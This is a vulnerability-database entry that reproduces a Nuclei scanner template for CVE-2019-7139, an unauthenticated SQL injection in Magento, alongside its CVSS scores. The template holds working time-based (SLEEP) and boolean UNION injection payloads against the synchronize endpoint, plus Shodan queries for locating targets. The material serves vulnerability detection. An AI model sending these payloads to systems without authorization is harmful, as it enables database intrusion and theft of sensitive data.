Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-7139
HistoryMar 16, 2024 - 5:23 p.m.

Magento - SQL Injection

2024-03-1617:23:48
ProjectDiscovery
github.com
50
cve-2019-7139
sqli
magento
sensitive data
security update

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.5

Confidence

High

EPSS

0.099

Percentile

94.9%

An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
id: CVE-2019-7139

info:
  name: Magento - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
  remediation: |
    This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
  reference:
    - https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
    - https://www.ambionics.io/blog/magento-sqli
    - https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13
    - https://github.com/koutto/jok3r-pocs
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7139
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7139
    cwe-id: CWE-89
    epss-score: 0.00582
    epss-percentile: 0.778
    cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: magento
    product: magento
    framework: magento
    shodan-query:
      - http.component:"Magento"
      - cpe:"cpe:2.3:a:magento:magento"
      - http.component:"magento"
  tags: cve,cve2019,sqli,magento

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "text/x-magento-init")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    stop-at-first-match: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_1>=6'
          - 'contains(content_type_1, "application/json")'
        condition: and

      - type: dsl
        name: blind-based
        dsl:
          - 'contains(content_type_2, "application/json") && contains(content_type_3, "application/json")'
          - 'status_code_2 == 200 && status_code_3 == 400'
          - 'len(body_2) == 2 && len(body_3) == 2'
        condition: and
# digest: 4a0a0047304502205a69b6ef9b1728b6a46cb23445d714f64558e680f3e39937cb4d3800f7c59669022100f12e75e00939482a564c76ed2fdcc3b2319eccdce9539afd2805c5a4353a4a35:922c64590222798bb761d5b6d8e72950

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.5

Confidence

High

EPSS

0.099

Percentile

94.9%